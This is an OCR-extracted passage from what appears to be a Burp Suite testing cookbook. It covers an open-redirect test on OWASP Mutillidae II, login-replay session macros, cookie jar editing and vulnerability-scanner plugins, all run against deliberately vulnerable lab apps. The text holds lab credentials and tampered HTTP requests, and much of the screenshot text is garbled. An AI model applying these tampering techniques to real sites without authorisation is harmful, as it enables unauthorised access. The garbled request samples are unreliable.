Testing for client-side resource
manipulation

If an application performs actions based on client-side URL information or
pathing to a resource (that is, AJAX call, external JavaScript, iframe source), the
result can lead to a client-side resource manipulation vulnerability. This
vulnerability relates to attacker-controlled URLs in, for example, the JavaScript
location attribute, the location header found in an HTTP response, or a POST
body parameter, which controls redirection. The impact of this vulnerability
could lead to a cross-site scripting attack.



Getting ready

Using the OWASP Mutillidae II application, determine whether it is possible to
manipulate any URL parameters that are exposed on the client side and whether
the manipulation of those values causes the application to behave differently.



How to do it...

1. Navigate to OWASP 2013 | A10 — Unvalidated Redirects and Forwards |
Credits:

o% OWASP Mutillidae Il: Web Pwn in M

Version: 2.6.24  Security Level: 0 (Hosed) Hints: Enabled (1 - Script

Home Login/Register Toggle Hints Show Popup Hints Toggle Security Enforce SSL

OWASP 2013 Al - Injection (SQL)
A1 - Injection (Other)

Credits

OWASP 2010

A2 - Broken Authentication and
OWASP 2007 Session Management ' Help Me!

Web Services A3 - Cross Site Scripting (XSS)

A4 - Insecure Direct Object Hints

References

)pwnized” Druin. Based on Mutillida
AS - Security Misconfiguration

Documentation A6 - Sensitive Data Exposure

A7 - Missing Function Level Access
Resources Control

A8 - Cross Site Request Forgery

(CSRF)

. A9 - Using Components with Known
Getting Started: RILEEIE

Project Whitepape

A10 - Unvalidated Redirects and * Credits
Forwards

Setup/reset the DB (Disabled: Not
& A Admin)

2. Click the ISSA Kentuckiana link available on the Credits page:



[ Credits

Q Help Me!

Hints

Developed by Jeremy "webpwnized" Druin. Based on Mutillidae 1.0 from Adrian "Irongeek™
Crenshaw.

OWASP

ISSA Kentuckiana
OWASP Louisville
Helpful Firefox Add-Ons

3. Switch to the Burp Proxy HTTP history tab, and find your request to the
Credits page. Note that there are two query string
parameters: page and forwardurl. What would happen if we manipulated
the URL where the user is sent?

- Proxy - Scanner | Intruder | Repeater T Seguencer TDecoder T Comparer T Extender I Project options I User options | Alerts
Intercept i HTTP history | WebSockets history | Options

Re-enable

Filter: Hiding CSS, image and general binary content

# 4| Host | Method | URL | Params | Edited | Status | Length MIME type | Extension
463 hitp:/192.168.56.101 GET il ‘page=redir wardurl=http:/fwww issa-kentuckiana.org o 200 38885 HTML php
< =

I

m Params | Headers | Hex
GET /mutillidae/index.php?page=redirectandlog.phpiforvardurl=http://www.issa-kentuckiana.org HTTP/L.1 |
Host: 100 188 28,101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win€d; x€4; rv:£61.0) Gecko/I0100101 Firefox/&61.0

Accept: text/htul,application/xhtnltxml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: hvop://192.168.56.101/mucillidae/index. phplpage=credics. php

Coockie: showhints=1; PHPSESSID=9jsmnl7vsnOmfe70ffv3velkvl; acopendivids=swingset,jotto,phphbl,redmine; acgroupswithpersis! t=nada
Connection: close

Upgrade-Insecure-Requests: 1

4. Switch to the Burp Proxy Intercept tab. Turn Interceptor on with the button
Intercept is on.

5. While the request is paused, note the current value of the fowardurl
parameter:



[ Target I Proxy T Spider I Scanner I Intruder ] Repeater I Sequencer T Decoder 1 Comparer 1 Extender I Project options I User options IAler'ls ]

[(mtesespt | HTTP history | webSockets nistory | options |

w Request to http://192.168.56.101:80

L Forward J { Drop J | interceptison | Action |
_[ Raw T Params T Headers | Hex

GET /mutillidae/index.php?page=redirectandlog. phpl forwardurl=http: //www.issa-kentuckiana.org IHTTP/J.. 1
Host: 152.1€8.5&6.101

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd; x64; rv:61.0) Geclto/20100101 Firefox/&81.0
Accept: text/html,application/xhtmltxml,application/xnl;q=0.9,*/*;¢q=0.8

Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: htep://192.168.56_101/mucillidae/index.php?page=credits.php

Cookie: showhints=l; PHPSESSID=Sjsunl7vsnOnfe70ffvivelkvl; acopendivids=swingset,jotto,phpbhl,rednine; acgroupswithpersist=nada
Connection: close

Upgrade-Insecure-Requests: 1

6. Replace the value of the forwardurl parameter to be

https://www.owasp.org instead of the original choice of
http://www.issa-kentuckiana.org:

[ Target T Praoxy 1 Spider T Scanner T Intruder T Repeater I Sequencer T Decoder T Comparer T Extender T Project options I User options T Alerts ]

:_[ Intercept T HTTP history T WebSockets history T Options ]

lzj Request to http://192.168.56.101:80
l Forward J t Drop J | Intercept is on Action
_[ Raw T Params I Headers | Hex

GET /mutillidae/index.php?pagesredirectandlog. phpdforwartlurl=hcr,gs: Jna . owasp . orgl HITP/1.1
Host: 1SZ.168.56.101

User-Agent.: Mozilla/5.0 (Windows NT 10.0; Win&4; x64; rv:61.0) Gecko/Z0100101 Firefox/61.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8

Accept-Language: en-US, en;q=0.5

Accept-Encoding: gzip, deflate

RPeferer: http://l92.168.56.101/mutillidas/index . php?page=credits. php

Cookie: showhints=1l;
Connection: close

PHPSESSID=9jsmnl7vsnOmfe70 ffv3veclkvl; acopendivids=swingset, jotto,phpbbl,redmine; acgroupswithpersist=nada

Upgrade-Insecure-Requests: 1

7. Click the Forward button. Now turn Interceptor off by clicking the toggle
button to Intercept is off.

8. Note how we were redirected to a site other than the one originally clicked!
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How it works...

Application code decisions, such as where to redirect a user, should never rely
on client-side available values. Such values can be tampered with and modified,
to redirect users to attacker-controlled websites or to execute attacker-controlled
scripts.



Working with Burp Macros and
Extensions

In this chapter, we will cover the following recipes:

Creating session-handling macros

Getting caught in the cookie jar

Adding great pentester plugins

Creating new issues via Manual-Scan Issue Extension
Working with Active Scan++ Extension



Introduction

This chapter covers two separate topics that can also be blended together:
macros and extensions. Burp macros enable penetration testers to automate
events, such as logins or parameter reads, to overcome potential error situations.
Extensions, also known as plugins, extend the core functionality found in Burp.



Software tool requirements

In order to complete the recipes in this chapter, you will need the following:

e OWASP Broken Web Applications (VM)

e OWASP Mutillidae
(http://<Your_VM_Assigned_IP_Address>/mutillidae)

e GetBoo (http://<Your_VM_Assigned_IP_Address>/getboo)

¢ Burp Proxy Community or Professional (https://portswigger.net/burp/)


https://portswigger.net/burp/

Creating session-handling macros

In Burp, the Project options tab allows testers to set up session-handling rules. A
session-handling rule allows a tester to specify a set of actions Burp will take in
relation to session tokens or CSRF tokens while making HTTP Requests. There
is a default session-handling rule in scope for Spider and Scanner. However, in
this recipe, we will create a new session-handling rule and use a macro to help us
create an authenticated session from an unauthenticated one while using
Repeater.



Getting ready

Using the OWASP Mutilliae II application, we will create a new Burp Session-
Handling rule, with an associated macro, to create an authenticated session from

an unauthenticated one while using Repeater.



How to do it...

1. Navigate to the Login page in Mutillidae. Log into the application as
username ed with password pentest.

2. Immediately log out of the application by clicking the Logout button and
make sure the application confirms you are logged out.

3. Switch to the Burp Proxy HTTP history tab. Look for the logout request
you just made along with the subsequent, unauthenticated GET request.
Select the unauthenticated request, which is the second GET. Right-click and
send that request to Repeater, as follows:



Toet | Py | Syt | Semer | e | Ao | Sequencer | Do

1 -]

Comparr | Extender | rogcopons | User ot | A

. | i G|

o of ek scop Fory i o oadley | bl
Fr g G5, Iage 6n enee by core
f o f letod | 1AL Pams (dled | s Lengh | fye  Exensin
AR A Gr  Iuldeindecghpdoshpot { nwom o omoow
(AL ] O nedecogpolpololfailndel0t o o e m

Reques | Response

.

R | Poams | e | e

AT /wutiL1idas/ inde, pho?page=Login, photpopUpllat ficacionCode=LCUL HIT/1.1

Host 162 168,56, 101

User-Agent: Mozilla/d.0 (Vindows NT 10.0; Wined; xed; rv:6L.0J Cecka 20100101 Firefox/eL.0
eoent: tant /] applicationshtelbrel application/mmdoed.§ t/thued § SendloSpr
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(omnection: close
Upgrade-nsecure-Requests: |

Do anacve ean

SendoRepetr (1

Send o S




4. Switch to Burp Repeater, then click the Go button. On the Render tab of the
response, ensure you receive the Not Logged In message. We will use this
scenario to build a session-handling rule to address the unauthenticated
session and make it an authenticated one, as follows:

| l Target I Proxy I Spider I Scanner ] Intruder | Repeater | Sequencer ]Deeudu ] Comparer iEmender I Project options. [ User options. IAHFII l
[z« fiswal -]
Target: htipui192.160.66.101 | ¢
Request se
— e e e e
GET /mutillidae/index.phplpage=login. phpapopUpliotificationCode=LOUL HTTR/L. 1 .
5
ows NT 10.0; Winf4; x64; rviEl.0) Gecko/2Z0M00L0) Firefox/€1.0 r )WASP Muti“idae II: wEb Pwn in Mass

/html, application/xhtmlixml, application/znl;q=0.9,*/*;q=0.0

Production
ndex. php?popUpliot i ficat LonCode=AUL
atubesssior, oo 6524  Security Level: O (Hosed)  Hints: Disabled (0 - 1 try harder) | Not Logged In

acgroupswithpersist=nada

- | Login

5. Switch to the Burp Project options tab, then the Sessions tab, and click the
Add button under the Session Handling Rules section, as follows:

[ Target I Proxy T Spider T Scanner I Intruder T Repeater T Sequencer T Decoder T Comparer T Extender I Project options I User options TAlerts ]

[ connections | HTTP | sst [ sessions | misc |

Session Handling Rules

“ou can define session handling rules to make Burp perform specific actions when making HTTP reguests. Each rule has a defined scope (for particular tools,
in to the application, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request.

®) ()

| Tools

!

Add Enabled | Description
# Use cookies from Burp's cookie jar Spider and Scanner

Edit

Remove

| Duplicate

Up

[

i

Down

,_

Te moniter or troubleshoot the behavier of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

[ Open sessions tracer J

6. After clicking the Add button, a pop-up box appears. Give your new rule a
name, such as LogInSessionRule, and, under Rule Actions, select Run a

macro, as follows:



B! Session handling rule editor X

JM]Smpe]

@ Rule Description

| LoghSessionRule |

EJ Rule Actions

The actions below wil be performed in seguence when this rule B applied to a reguest

| Add J Enabled | Description

Use cookies from the session handing cookie jar
Set a specific cookie or parameter value
Check session is valid >

Prumi for m=-browser session re-::u-.rui

Run a post-reguest macro
invoke a Burp extension

|9k | | Cancel |

7. Another pop-up box appears, which is the Session handling action editor. In
the first section, under Select macro, click the Add button, as follows:



‘,Session handling action editor - LogInSessionRule X

@ This action runs a predefined macro (séquence of requests) and optionally updates paramsters and cookies in the current request based on the resutt of the
Macro.

Select macro:

Add

(e

Note that the request currently being processed by this session handling rule will stil be issued, so the macro should not include this request unless it is
necessary to issue it twice.

(¥ Update current request with parameters matched from final macro response

@ Update all parameters except for:

_Edt.

() Update only the following paramsters:

Edit
(L] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

() Update current request with cookies from session handling cookie jar

® Update all cookies except for:

Edit

() Update only the following cookies:

' Edt |

() After running the macro, invoke & Burp extension action handler:

. ®

8. After clicking the Add button, the macro editor appears along with another
pop-up of the Macro Recorder, as follows:




2 | | Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "0K". Note that to record a macro now using your browser you

: : S Intercept is off
will nead to ensure that proxy interception ig turned off

Fitter: Hiding CSS, image and general binary content ‘ LlJ

# 4| Host | Method | URL | Params | Edited | Status | Length | MIMEtypc | Extension

1 hitp://192.168.56.101 GET Imutilidae/index.php?do=logout J 302 733 HTML php

2 http:7/192.168.56.101 GET Imutilidae/index.php?page=login.php&p... v 200 47756 HTML php

3 nttp://192.168.56.101 POST imutilidae/index. php?page=login.php vy 302 47478 HTML php

4 http://192.168.56.101 GET fmutilidae/index.php?popUpNotification... v 200 48417 HTML php
= i T

Note: A bug exists in 1.7.35 that disables Macro Recorder. Therefore, after
clicking the Add button, if the recorder does not appear, upgrade the Burp
version to 1.7.36 or higher.

9. Inside the Macro Recorder, look for the POST request where you logged in
as Ed as well as the following GET request. Highlight both of those requests
within the Macro Recorder window and click OK, as follows:

@J Macro Recorder

Select the items from the proxy history that you wish to include in the macro, and click "OK". Note that to record a macro now using your browser you Intercept is off
will need to ensure that proxy interception is turned off.

Fitter: Hiding CSS, image and general binary content | Lij

& 4 Host | Method | URL |Params | Edied | Status | Length | MMEtype | Extension

1 http:/192.168.56.101 GET Imutilidae/index_php?do=logout v 302 733 HTML php

2 hitp://192.168.56.101 GET mutilidae/index php?page=login phpép. . J 200 47755 HTML php

3 http:/1192 168 56.101 FOST  Imutilidae/index php?page=login.php 4 302 47478 HTML php

4 hitp://192.168.56.101 GET Imutilidaefindex php?popUpNotification... v 200 46417 HTML php
ELS = b

Request i Response
_[ Raw T Params T Headers I Hex |

GET /mutillidae/index.php?popUplotificationCode=AUl HTTP/1.1

A
Host: 192.168.56.101 -
User-Agent: Mozilla/5.0 (Windows NT 10.0; Winé4; x€4; rv:€l.0) Gecko/Z0100101 Firefox/€l.0
Accept: text/htnl,application/xhtmltxml,application/xnl;q=0.9,*/*;q=0.8
Accept-Language: en-US, en;g=0.5
Accept-Encoding: gzip, deflate
Referer: http://192.168.56.101/mutillidae/index. php?page=login.phpépopUpliotificationCode=L0OULl
Cookie: showhints=0; username=ed; uid=24; PHPSESSID=vvvérhTueelvqrmér fhgéSiph3;
acopendivids=swingset, jotto,phpbbZ, redmine; acgroupswithpersist=nada
Connection: close
Upgrade-Insecure-Recuests: 1 L
¥

EJ EJ LiJ @ Type a search term 0 matches

Cancel .

10. Those two highlighted requests in the previous dialog box now appear



inside the Macro Editor window. Give the macro a description, such as
LogInMacro, as follows:

2 | Macro Editor

Use the configuration below to define the tems that are included in the macro, and the order they will be issued. You can configure how parameters and cookies are handled for each item. You can also test the macro to confirm it is
working correctly.

Macro description: ILogInMach I

Macro tems:

# | Host | Method | URL | status Cookies received Derived parameters l Configure item J
T TP 102 168.65.101 FOST TmutliGae naex php?page=logi. php 02 Username, ud :
2 hitp:#192.168.56.101 GET il php?popUpNotificationCode=A... 200 | Move up J

Move down

- P ¥o| [ Remoeien |

_[m Params I Headers m

POST /mucillidae/index.phpipage=login. php HTTP/L 1

Host: 192.168.56.101

User-Agent: Mozillass.0 (Windows NT 10.0; Winéd; %é4; rv:6l.0) Geeko/20100101 Firefoxu/e€l.0
Accept: text/html,application/xhtmltxml,application/xml;q=D.5,*%/*;q=0.8

Acceprt-Language: en-US,en;¢=0.5

Accept-Encoding: geip, deflate

Referer: hrep://192.160.56. 101/mutillidae/index. phplpage=login. phpspopUpliotificationCode=LOUL

Content-Type: application/x-www-form-urlencoded Re-record macro

Content-Length: 58

Cookie: showhints=0; PHPSESSID=vvvérhTueelvqumérthgébiphld; acopendivids=swingset,k jotto,phpbbhl, rednine; acgroupswithpersist=nada Re-analyze macro
Connection: close v

7| = u 24| [Tyoe o search term ] 0 matches Test macro

o) |cuncel]

11. Click the Configure item button to validate that the username and password
values are correct. Click OK when done, as follows:



Ccnfigure Macro Item: POST request to http://192.168.56.101/mutillidae/index.php?page=Ilogin.php
@ Configure Macro ltem

Configure how cookies and request parameters are handled for this macro tem.

Cookie handiing

@ Add cookies received in responses to the session handling cookie jar

@ Useé cookies from the session handling cooki jar in requests

Parameter handling
page Use preset value ﬂ login.php
username Use preset value M ed
password Use preset value H pentest
login-php-submi-button Use preset value H Login

Custom parameter locations in response
Name Value derived from Add

Edi
Remove
|




12. Click OK to close the Macro Editor. You should see the newly-created
macro in the Session handling action editor. Click OK to close this dialog
window, as follows:



Session handling action editor - LogInSessionRule

7| This action runs a predefined macro (sequence of requests) and optionally updates parameters and cookies in the current request based on the resuft of
~ the macro.

Select macro;

M Loghiacro
0

Note that the request currently being processed by this session handiing rule will stil be issued, so the macro should not include this request unless tis
necessary fo issue it twice,

) Update current request with parameters matched from final macro response

(& Update all parameters except for:

Edt

() Update only the following parameters:

Edt
(] Tolerate URL mismatch when matching parameters (use for URL-agnostic CRSF tokens)

(¥) Update current request with cookies from session handiing cookie jar

® Update all cookies except for:

Edt

(J Update only the folowing cookies:

it

o6 Lo




13. After closing the Session handling action editor, you are returned to the
Session handling rule editor where you now see the Rule Actions section
populated with the name of your macro. Click the Scope tab of this window
to define which tool will use this rule:

- LV
‘,'. Session handling rule editor X

_[Detais Scope

@ Rule Description

LoginSessionRule

@ Rule Actions

The actions below will be performed in sequence when this rule is applied to a request.

Add Enabled | Description

¥ run macro: LoginMacro

Edit

Remove b

Up

Down

| OK || Cancel |

14. On the Scope tab of the Session handling rule editor, uncheck the other



boxes, leaving only the Repeater checked. Under URL Scope, click the
Include all URLs radio button. Click OK to close this editor, as follows:

B Session handl ng rule editor A

Details | Scope ]

@ Tools Scope

Select the tools that this rule will be applied to.

(] Target (] Scanner (] Repeater
() Spider (J Intruder L] Seguencer
(] Extender (] Proxy (use with caution)

EJ URL Scope

Use the configuration below to control which URLs this rule applies to.

@ Include all URLs
(L) Use suite scope [defined in Target tab]

(U Use custom scope

2 | Parameter Scope

“ou can restrict the rule to requests containing specific parameters if required.

|| Restrict to requests containing these parameters:

Edit

| OK J | {:anl:eIJ

15. You should now see the new session-handling rule listed in the Session
Handling Rules window, as follows:



Target I Proxy l Spider ] scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender Iﬁqedumﬁ I User options I Alerts ]

Connections Y HTTP T SaL TSessmsT Misc ]

@ Session Handling Rules

2| You can define session handing rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular took
_ Beroms S5 % e .
in to the application, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the request

[ Add j Enabled | Descrion | Tooks
| Use cookies from Burp's cookie jar Spider and Scanner
[ Edt } ¥ LoghSessionRule Repeater

To monitor or troubleshoot the behavior of your session handling rules, you can use the sessions tracer to view in detail the results of processing each rule.

(pen sessions fracer

—_

16. Return to the Repeater tab where you, previously, were not logged in to the
application. Click the Go button to reveal that you are now logged in as Ed!
This means your session-handling rule and associated macro worked:

Jmpe([Mw]m[mwinmrwme«urlmlum[Exloodel]?rupumns]UwuﬂnmIAuml

Lo Tl |
— Target: hitpit92463.86.401 [ ] |
Request Response
Raw | Params | Hesders | Hex | [Raw | Headers | Hex | HTuL | Render |

GET Y

/mutillidae/index. phplpage=home. phpipopUpNot i ficationCode=HPHO r

EIRAL ®% OWASP Mutillidae II: Web Pwn in Mass

User-Agent: Mozilla/5.0 (Windows NT 10.0; Winéd: xé4; rv:€l.0) -
Gecko/20L00101 Firefox/€1.0 Productlon
ce

Version: 2,6,24  Security Level: 5 (Server-side Security)  Hints: Disabled (0 - I try harder) | Logged In User: ed ]
(Commandiine KungFu anyone?)

OWASP 2013 Mutillidae: Deliberately
owasP 2010 Vulnerable Web Pen-Testing
OWASP 2007 Application

ication/xhtml+xml,applications/xml;q=0.9,%/*;q=0.8
e: en-US,en;qe=0.5

Co
Upgrade-Insecurs-Requests: 1




How it works...

In this recipe, we saw how an unauthenticated session can be changed to an
authenticated one by replaying the login process. The creation of macros allows
manual steps to be scripted and assigned to various tools within the Burp suite.

Burp allows testers to configure session-handling rules to address various
conditions that the suite of tools may encounter. The rules provide additional
actions to be taken when those conditions are met. In this recipe, we addressed
an unauthenticated session by creating a new session-handling rule, which called
a macro. We confined the scope for this rule to Repeater only for demonstration
purposes.



Getting caught in the cookie jar

While targeting an application, Burp captures all of the cookies it encounters
while proxying and spidering HTTP traffic against a target site. Burp stores these
cookies in a cache called the cookie jar. This cookie jar is used within the
default session-handling rule and can be shared among the suite of Burp tools,
such as Proxy, Intruder, and Spider. Inside the cookie jar, there is a historical
table of requests. The table details each cookie domain and path. It is possible to
edit or remove cookies from the cookie jar.



Getting ready

We will open the Burp Cookie Jar and look inside. Then, using the OWASP
GetBoo application, we'll identify new cookies added to the Burp Cookie Jar.



How to do it...

1. Shut down and restart Burp so it is clean of any history. Switch to the Burp
Project options tab, then the Sessions tab. In the Cookie Jar section, click
the Open cookie jar button, as follows:



Target [ Proxy T Spider T Scanner I Intruder I Repeater T Sequencer X Decoder T Comparer T Extender || Project options | User options T Alerts 1

Connections [ HTTP I SSL | Sessions || Misc 1

3

L

Session Handling Rules

You can define session handiing rules to make Burp perform specific actions when making HTTP requests. Each rule has a defined scope (for particular ti
in o the appiication, or checking session validity. Before each request is issued, Burp applies in sequence each of the rules that are in-scope for the requ

Al | Enabed | Descron Toos
l | |

@ Use cookies from Burp's cookie jar Spider and Scanner

Edt

Remove

Duplicate

Down

To monitor or troubleshoot the behavior of your session handiing rules, you can use the sessions tracer to view in detail the results of procssing each ru

[ (pen sessions fracer

=)

|

Cookie Jar

Burp maintains a cookie jar that stores al of the cookies issued by visited web sites. Session handling rules can use and update these cookies to maintain
control how Burp automatically updates the cookie jar based on traffic from particular tools.

Monitor the following fools' traffic to update the cookie jar:

O Proxy  (J Scanner [ Repeater () Spider
[ htruder (] Sequencer (] Extender

Open cookie jar




2. A new pop-up box appears. Since we have no proxied traffic yet, the cookie
jar is empty. Let's target an application and get some cookies captured, as

follows:
B Cookie jar viewer — [ X
Domain | Path | Name | Value | Expires Edit cookie

Remove cookie

Empty cookie jar

Close

3. From the OWASP Landing page, click the link to access the GetBoo
application, as follows:

OLD (YULNERABLE) VERSIONS OF REAL APPLICATIONS

@WardPre 55 @DrangeHRM
©GetBoo @ GTD-PHP
@Ya_zd @Wﬂbﬂalendar
© Gallery2 © Tiki Wiki

© Joomla © Awstats

4. Click the Login button. At the login screen, type both the username and
password as demo, and then click the Log In button.



5. Return to the Burp Cookie Jar. You now have three cookies available. Each
cookie has a Domain, Path, Name, and Value identified, as follows:

B Cookie jar viewer - [0 X
Domain ~~|Path | Name | Vale | Expies [ Edit cookie
192.168.56.1... PHPSESSD  vwvbrhTueslvormérfbgB5iphd
192.168.56.1... acopendivids  swingset jotto phpbb2 redmine Remove cookie
192.168.56.1... acgroupswi.. nada :

Empty cookie jar

—

s

6. Select the last cookie in the list and click the Edit cookie button. Modify the
value from nada to thisIsMyCookie and then click OK, as follows:

BB Cookie editor X

Domain: 192.168.56.101

Path:
Name: acgroupswithpersist
Value: thislsMyCookie

ox)

7. The value is now changed, as follows:



lf Cookie jar viewer - 0 X

Domain | Path ‘Name Value ‘Expires Edit cookie
192.168.56.1... PHRSESSD  vwvBrhTueelvgrmérfbgbliphd |
192.168.56.1... acopendivids  swingset jotto,phpbb2 redmine Remove cookie
192.168.56.1... acgroupswit... |thisishyCookie ' :
[ Empty cookie jar j

Close

8. The default scope for the Burp Cookie Jar is Proxy and Spider. However,
you may expand the scope to include other tools. Click the checkbox for
Repeater, as follows:

Cookie Jar

Burp maintains a cookie jar that stores all of the cookies issued by visited web sites. Session
control how Burp automatically updates the cookie jar based on traffic from particular tools.

&) (=)

Monitor the following tools’ traffic to update the cookie jar:

O Proxy [ Scanner |@ Reéeater [ Spider
U Intruder  [J Sequencer [ Extender

{ Open cookie jar J

Now, if you create a new session-handling rule and use the default Burp Cookie
Jar, you will see the new value for that cookie used in the requests.



How it works...

The Burp Cookie Jar is used by session-handling rules for cookie-handling when
automating requests against a target application. In this recipe, we looked into
the Cookie Jar, understood its contents, and even modified one of the values of a
captured cookie. Any subsequent session-handling rules that use the default
Burp Cookie Jar will see the modified value in the request.



Adding great pentester plugins

As web-application testers, you will find handy tools to add to your repertoire to
make your assessments more efficient. The Burp community offers many
wonderful extensions. In this recipe, we will add a couple of them and explain
how they can make your assessments better. Retire.js and Software Vulnerability
Scanner are the two plugins, these two plugins are used with the passive scanner.

Note: Both of these plugins require the Burp Professional version.



Getting ready

Using the OWASP Mutilliae II application, we will add two handy extensions
that will help us find more vulnerabilities in our target.



How to do it...

1. Switch to the Burp Extender tab. Go to the BApp Store and find two
plugins—Retire.js and Software Vulnerability Scanner. Click the
Install button for each plugin, as follows:
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2. After installing the two plugins, go to the Extender tab, then Extensions,
and then the Burp Extensions section. Make sure both plugins are enabled
with check marks inside the check boxes. Also, notice the Software
Vulnerability Scanner has a new tab, as follows:

Target I Proxy | Spider | Scanner | Infruder | Repeater | Sequencer | Decoder | Software Vulnerabilty Scanner

Extensions | BApp Store | APs | Optons |

Burp Extensions
Extensions let you customize Burp's behavior using your own or third-party code.

Add | Loaded Type | Name

M  Java Retire js
@ Java Software Vulnerabilty Scanner

pra—

Remove j

,_
=
=]

Down j

3. Return to the Firefox browser and browse to the Mutillidae homepage.
Perform a lightweight, less-invasive passive scan by right-clicking and
selecting Passively scan this branch, as follows:



_[T&'gat T Proxy T Spider T Scanner T Intruder I Repeater T Sequencer I Decoder I Comparer I Exter

e

Fitter: Hiding out of scope and not found items; hiding C55, image and general binary content; hiding 4xx respol

| o mutilidae

¥ | o hitp:/f152.165.56.101

*h!
» [ docun

E frame

B | includ

I' ’:3 index
» [0 javas

4. Note the additional findings created from the two plugins. The vulners

i“g http:/1192.168.56.101/mutillidae
Remove from scope

Spider this branch
Actively scan this branch

Pagsively scan this branch

Contents
A | Wethod | URL
82 168.56.101 GET It
p192 . 168.56.101 GET Imut
b 52 168.56.101 GET It
p:i1592 168.56.101 GET It
JH%2.168.55. 11 GET Imut

plugin, which is the Software Vulnerability Scanner, found numerous CVE
issues, and Retire. js identified five instances of a vulnerable version of
jQuery, as follows:



Issues

WP LUl ILAT FUDTTIRRFTOT UT PO T oTd

» ! File path traversal [2]
I XPath injection
! DMulners] Vulnerable Software detected
'H' Vulnerable verzion of the library “jguery’ found [5]
l:} fmutilidaefjavascript/ddsmoothmenu/jguery. min.j=
I?} Imutilidaefjavascriptiddsmoothmenu/jguery. min.js
l?} fmutilidaefjavascriptjQuenyjguery.js
I;} fmutilidaefjavascriptjQuenyijguery j=
l?} fmutilidaefjavascriptjQuenyijguery js
Password field with autocomplete enabled
> Client-gide HTTP parameter pollution (reflected) [2]
Input returned in response (reflected) [9]
Cross-domain Referer leakage [3]

L 4
(]

L4
=

_[ AdwsmyT Request T Response ]

! [Vulners] Vulnerable Software detected

AT [Vulners] Vulnerable Software detected
Severity: High

Confidence: Firm

Host: hitpe/M192.168.56.101

Path: Imutillidae/

Note: Thiz issue was generated by a Burp extension.

Izzue detail

The following vulnerabilities for software OpenssL, headers - 0.9.8k found:

& OPENSESL.CVE-Z014-0224 - 6.8 - Vulnerability in OpenS5L
[CVE-2014-0224)
An attacker can force the use of weak keying material in
OpenssSL SSLITLS clients and servers. This can be exploited by a
Man-in-the-middle (MITM) attack where the attacker can decrypt
and modify traffic from the attacked client and server. Reported
by KIKL...




How it works...

Burp functionality can be extended through a PortSwigger API to create custom
extensions, also known as plugins. In this recipe, we installed two plugins that
assist with identifying older versions of software contained in the application
with known vulnerabilities.



Creating new issues via the Manual-
Scan Issues Extension

Though Burp provides a listing of many security vulnerabilities commonly
found in web applications, occasionally you will identify an issue and need to
create a custom scan finding. This can be done using the Manual-Scan

Issues Extension.

Note: This plugin requires the Burp Professional edition.



Getting ready

Using the OWASP Mutillidae IT application, we will add the Manual Scan Issues
Extension, create steps revealing a finding, then use the extension to create a

custom issue.



How to do it...

1. Switch to the Burp Extender tab. Go to the BApp Store and find the plugin
labeled Manual Scan Issues. Click the Install button:

BApp Store

The BApp Store contains Burp extensions that have been written by users of Burp Suite, to extend Burp's capabilities.

Name | Installed | Rating | Popularity | Last updated | Detail
[ JsUN Beautifier HHHHHE 1 302077
JSON Decoder whawy — 24 Jan 2017
JS0N Web Token Attacker wawwy — 22 Nov 2017
JSON Web Tokens Tuwwy ———  03May2018
JSWS Parser wunuw —i 15 Feb 2017
JVM Property Editor woaty — 24 Jan 2017
Kerberos Authentication ruawt — 30 Aug 2017
Lair — 25 Jan 2017 Pro extension
Length Extension Attacks — 25 Jan 2017
LightBulb WAF Auditing Frame... = 22 Jan 2018
| Logger++ —+ 21 May2018
| Manual Scan lssues e —1 23 May 2017 Pro extension

2. Return to the Firefox browser and browse to the Mutillidae homepage.

3. Switch to the Burp Proxy | HTTP history tab and find the request you just
made browsing to the homepage. Click the Response tab. Note the overly
verbose Server header indicating the web server type and version along
with the operating system and programming language used. This
information can be used by an attacker to fingerprint the technology stack
and identify vulnerabilities that can be exploited:




Regquest | Response

[hw Headers | Hex | HTML Rem‘fer]

HTTP/1.1 200 OK

Date: Thu, 13 Sep 2018 15:55:03 GMT

Server: Apache/Z.Z2.14 (Ubuntu) mod mono/2.4.3 PHP/5.32.2-lubuntud. 30 with Suhosin-Patch proxy html/3.0.1 mod Ewhon.’s.s,l. Python/Z.6.5 mod ss1/2.2.14 OpenSSL/0.59.6k
Phusion_Passenger/4.0.20 mod_perl/c.0.4 Perl/vs.l0.L
Expires: Mon, 26 Jul 1997 05:00:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, no-cache="set-cookie"
Pragma: no-cache

Logged-In-User:

X-FRAME-OPTIONS: DENY

Last-Modified: Thu, 13 Sep Z0l8 15:55:03 GMT

Vary: Accept-Encoding

Content-Length: 45734

Connection: close

Content-Type: text/html

4. Since this is a finding, we need to create a new issue manually to capture it
for our report. While viewing the Request, right-click and select Add Issue,
as follows:



oAt [ P el | [l
0 MBS O e pvinlob W e

\ I

Reguest | Response
o s

GBT fwutillidae/index. php"page=hone phpépopliplot ficationCode=HER HITR/L.1
Host: 192.166. %. 101

User-Agent: Hozilla/S.0 (Nindows NT 10.0; Vinéd; xed; tvi6l.0) Gecko/20100101 Hirefox/el.0
Aecept: text/htnl applicacion/vhenltenl applicatioploloa=l & d/drae 0

hecept-Lanquage: en-U8, en; =0, Send n Spier

Aecept-Incoding: gaip, deflate .

Referer: hetp://197.166. 56. 101 /mut1L1idae/ index. phy MLl LonCodezL (01

Cookle: shovhintse0; PRPSESSIDemvvtchueelvqrade b D08 pesshe sen otto,phpbb?, reduine; acqroupsvithpersistnada
Comectdon; close Send o it il

Upgrade=Insecure-Requests: |

Send o Repeate (e
Send o Sequencer

Send o Compare
Send o Decoder

Show responge i bowser

Reguest n drowser 4

Add lssye

5. A pop-up dialog box appears. Within the General tab, we can create a new
issue name of Information Leakage in Server Response. Obviously,
you may add more verbiage around the issue detail, background, and
remediation areas, as follows:



| ManScanAdd X

General | HTTP Request T HTTP Response ]

lssue Name:

Information Leakage in Server Response

Issue Detail:

